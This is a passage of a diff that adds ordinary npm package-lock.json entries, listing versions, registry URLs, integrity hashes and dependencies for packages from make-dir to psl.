"node_modules/make-dir": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/make-dir/node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/marked": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/marked/-/marked-14.0.0.tgz", + "integrity": "sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ==", + "license": "MIT", + "peer": true, + "bin": { + "marked": "bin/marked.js" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/min-indent": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/minimatch": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/monaco-editor": { + "version": "0.55.1", + "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.55.1.tgz", + "integrity": "sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A==", + "license": "MIT", + "peer": true, + "dependencies": { + "dompurify": "3.2.7", + "marked": "14.0.0" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/msw": { + "version": "2.12.10", + "resolved": "https://registry.npmjs.org/msw/-/msw-2.12.10.tgz", + "integrity": "sha512-G3VUymSE0/iegFnuipujpwyTM2GuZAKXNeerUSrG2+Eg391wW63xFs5ixWsK9MWzr1AGoSkYGmyAzNgbR3+urw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "dependencies": { + "@inquirer/confirm": "^5.0.0", + "@mswjs/interceptors": "^0.41.2", + "@open-draft/deferred-promise": "^2.2.0", + "@types/statuses": "^2.0.6", + "cookie": "^1.0.2", + "graphql": "^16.12.0", + "headers-polyfill": "^4.0.2", + "is-node-process": "^1.2.0", + "outvariant": "^1.4.3", + "path-to-regexp": "^6.3.0", + "picocolors": "^1.1.1", + "rettime": "^0.10.1", + "statuses": "^2.0.2", + "strict-event-emitter": "^0.5.1", + "tough-cookie": "^6.0.0", + "type-fest": "^5.2.0", + "until-async": "^3.0.2", + "yargs": "^17.7.2" + }, + "bin": { + "msw": "cli/index.js" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/mswjs" + }, + "peerDependencies": { + "typescript": ">= 4.8.x" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/mute-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-2.0.0.tgz", + "integrity": "sha512-WWdIxpyjEn+FhQJQQv9aQAYlHoNVdzIzUySNV1gHUPDSdZJ3yZn7pAAbQcV7B56Mvu881q9FZV+0Vx2xC44VWA==", + "dev": true, + "license": "ISC", + "engines": { + "node": "^18.17.0 || >=20.5.0" + } + }, + "node_modules/mz": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "node_modules/nanoid": { + "version": "3.3.15", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.15.tgz", + "integrity": "sha512-y7Wygv/7mEOvxTuEQDB8StXdMRBWf1kR/tlhAzBRUFkB2jfcLOAxO/SHmOO2zgz1pVgK29/kyupn059/bCHdjA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true, + "license": "MIT" + }, + "node_modules/node-releases": { + "version": "2.0.27", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz", + "integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/nwsapi": { + "version": "2.2.23", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz", + "integrity": "sha512-7wfH4sLbt4M0gCDzGE6vzQBo0bfTKjU7Sfpqy/7gs1qBfYz2vEJH6vXcBKpO3+6Yu1telwd0t9HpyOoLEQQbIQ==", + "dev": true + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/obug": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.3.tgz", + "integrity": "sha512-9miFgM2OFba7hB+pRgvtV84pYTBaoTHohvmIgiRt6dRIzbwEOIaNaP+dIlGs2fNFoB0SeISs0Jz5WFVRid6Xyg==", + "dev": true, + "funding": [ + "https://github.com/sponsors/sxzz", + "https://opencollective.com/debug" + ], + "license": "MIT", + "engines": { + "node": ">=12.20.0" + } + }, + "node_modules/openapi-typescript": { + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/openapi-typescript/-/openapi-typescript-7.13.0.tgz", + "integrity": "sha512-EFP392gcqXS7ntPvbhBzbF8TyBA+baIYEm791Hy5YkjDYKTnk/Tn5OQeKm5BIZvJihpp8Zzr4hzx0Irde1LNGQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@redocly/openapi-core": "^1.34.6", + "ansi-colors": "^4.1.3", + "change-case": "^5.4.4", + "parse-json": "^8.3.0", + "supports-color": "^10.2.2", + "yargs-parser": "^21.1.1" + }, + "bin": { + "openapi-typescript": "bin/cli.js" + }, + "peerDependencies": { + "typescript": "^5.x" + } + }, + "node_modules/openapi-typescript/node_modules/supports-color": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-10.2.2.tgz", + "integrity": "sha512-SS+jx45GF1QjgEXQx4NJZV9ImqmO2NPz5FNsIHrsDjh2YsHnawpan7SNQ1o8NuhrbHZy9AZhIoCUiCeaW/C80g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/outvariant": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/outvariant/-/outvariant-1.4.3.tgz", + "integrity": "sha512-+Sl2UErvtsoajRDKCE5/dBz4DIvHXQQnAxtQTF04OJxY0+DyZXSo5P5Bb7XYWOh81syohlYL24hbDwxedPUJCA==", + "dev": true, + "license": "MIT" + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-json": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-8.3.0.tgz", + "integrity": "sha512-ybiGyvspI+fAoRQbIPRddCcSTV9/LsJbf0e/S85VLowVGzRmokfneg2kwVW/KU5rOXrPSbF1qAKPMgNTqqROQQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.26.2", + "index-to-position": "^1.1.0", + "type-fest": "^4.39.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse-json/node_modules/type-fest": { + "version": "4.41.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", + "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse5": { + "version": "7.3.0", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz", + "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==", + "dev": true, + "dependencies": { + "entities": "^6.0.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true, + "license": "MIT" + }, + "node_modules/path-to-regexp": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-6.3.0.tgz", + "integrity": "sha512-Yhpw4T9C6hPpgPeA28us07OJeqZ5EzQTkbfwuhsUg0c237RomFoETJgmp2sa3F/41gfLE6G5cqcYwznmeEeOlQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/pathe": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", + "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pirates": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", + "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/pluralize": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-8.0.0.tgz", + "integrity": "sha512-Nc3IT5yHzflTfbjgqWcCPpo7DaKy4FnpB0l/zCAW0Tc7jxAiuqSxHasntB3D7887LSrA93kDJ9IXovxJYxyLCA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/popper.js": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1.tgz", + "integrity": "sha512-Wb4p1J4zyFTbM+u6WuO4XstYx4Ky9Cewe4DWrel7B0w6VVICvPwdOpotjzcf6eD8TsckVnIMNONQyPIUFOUbCQ==", + "deprecated": "You can find the new Popper v2 at @popperjs/core, this package is dedicated to the legacy v1", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/popperjs" + } + }, + "node_modules/postcss": { + "version": "8.5.16", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.16.tgz", + "integrity": "sha512-vuwillviilfKZsg0VGj5R/YwwcHx4SLsIOI/7K6mQkWx+l5cUHTjj5g0AasTBcyXsbfTgrwsUNmVUb5xVwyPwg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.12", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-import": { + "version": "15.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", + "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-js": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz", + "integrity": "sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "camelcase-css": "^2.0.1" + }, + "engines": { + "node": "^12 || ^14 || >= 16" + }, + "peerDependencies": { + "postcss": "^8.4.21" + } + }, + "node_modules/postcss-load-config": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz", + "integrity": "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "lilconfig": "^3.1.1" + }, + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "jiti": ">=1.21.0", + "postcss": ">=8.0.9", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + }, + "postcss": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/postcss-nested": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz", + "integrity": "sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.1.1" + }, + "engines": { + "node": ">=12.0" + }, + "peerDependencies": { + "postcss": "^8.2.14" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.1.2", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", + "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/prettier": { + "version": "3.8.1", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.8.1.tgz", + "integrity": "sha512-UOnG6LftzbdaHZcKoPFtOcCKztrQ57WkHDeRD9t/PTQtmT0NHSeWWepj6pS0z/N7+08BHFDQVUrfmfMRcZwbMg==", + "dev": true, + "license": "MIT", + "bin": { + "prettier": "bin/prettier.cjs" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/prettier-plugin-tailwindcss": { + "version": "0.5.14", + "resolved": "https://registry.npmjs.org/prettier-plugin-tailwindcss/-/prettier-plugin-tailwindcss-0.5.14.tgz", + "integrity": "sha512-Puaz+wPUAhFp8Lo9HuciYKM2Y2XExESjeT+9NQoVFXZsPPnc9VYss2SpxdQ6vbatmt8/4+SN0oe0I1cPDABg9Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.21.3" + }, + "peerDependencies": { + "@ianvs/prettier-plugin-sort-imports": "*", + "@prettier/plugin-pug": "*", + "@shopify/prettier-plugin-liquid": "*", + "@trivago/prettier-plugin-sort-imports": "*", + "@zackad/prettier-plugin-twig-melody": "*", + "prettier": "^3.0", + "prettier-plugin-astro": "*", + "prettier-plugin-css-order": "*", + "prettier-plugin-import-sort": "*", + "prettier-plugin-jsdoc": "*", + "prettier-plugin-marko": "*", + "prettier-plugin-organize-attributes": "*", + "prettier-plugin-organize-imports": "*", + "prettier-plugin-sort-imports": "*", + "prettier-plugin-style-order": "*", + "prettier-plugin-svelte": "*" + }, + "peerDependenciesMeta": { + "@ianvs/prettier-plugin-sort-imports": { + "optional": true + }, + "@prettier/plugin-pug": { + "optional": true + }, + "@shopify/prettier-plugin-liquid": { + "optional": true + }, + "@trivago/prettier-plugin-sort-imports": { + "optional": true + }, + "@zackad/prettier-plugin-twig-melody": { + "optional": true + }, + "prettier-plugin-astro": { + "optional": true + }, + "prettier-plugin-css-order": { + "optional": true + }, + "prettier-plugin-import-sort": { + "optional": true + }, + "prettier-plugin-jsdoc": { + "optional": true + }, + "prettier-plugin-marko": { + "optional": true + }, + "prettier-plugin-organize-attributes": { + "optional": true + }, + "prettier-plugin-organize-imports": { + "optional": true + }, + "prettier-plugin-sort-imports": { + "optional": true + }, + "prettier-plugin-style-order": { + "optional": true + }, + "prettier-plugin-svelte": { + "optional": true + } + } + }, + "node_modules/pretty-format": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz", + "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^17.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "license": "MIT", + "peer": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/prop-types/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "license": "MIT" + }, + "node_modules/proxy-from-env": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", + "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/psl": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz", + "integrity": "sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==", + "dev": true, + 